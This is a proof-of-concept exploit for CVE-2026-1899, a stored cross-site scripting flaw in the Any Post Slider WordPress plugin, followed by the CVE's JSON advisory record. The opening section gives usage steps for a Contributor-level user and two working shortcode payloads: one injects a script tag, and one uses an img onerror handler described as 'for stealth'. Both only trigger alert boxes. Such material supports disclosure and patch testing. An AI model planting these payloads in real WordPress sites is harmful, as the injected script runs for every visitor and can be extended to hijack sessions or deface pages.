CVE-2026-1899

<!-- PoC for CVE-2026-1899 Stored XSS --> <!-- Usage: Add the following shortcode to a WordPress Post or Page with Contributor level access --> [aps_slider post_type='"><script>alert("XSS")</script><'] <!-- Alternatively, using an img tag for stealth --> [aps_slider post_type='"><img src=x onerror=alert(1)><']

{"cve": {"id": "CVE-2026-1899", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:56.067", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Any Post Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's aps_slider shortcode in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping on the 'post_type' attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Any Post Slider para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'aps_slider' del plugin en todas las versiones hasta la 1.0.4, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en el atributo 'post_type'. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/any-post-slider/tags/1.0.4/public/partials/any-post-slider-no_content.php#L3", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/any-post-slider/trunk/public/partials/any-post-slider-no_content.php#L3", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/any-post-slider", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/562f194f-1f32-4de4-8074-84580f653bdb?source=cve", "source": "[email protected]"}]}}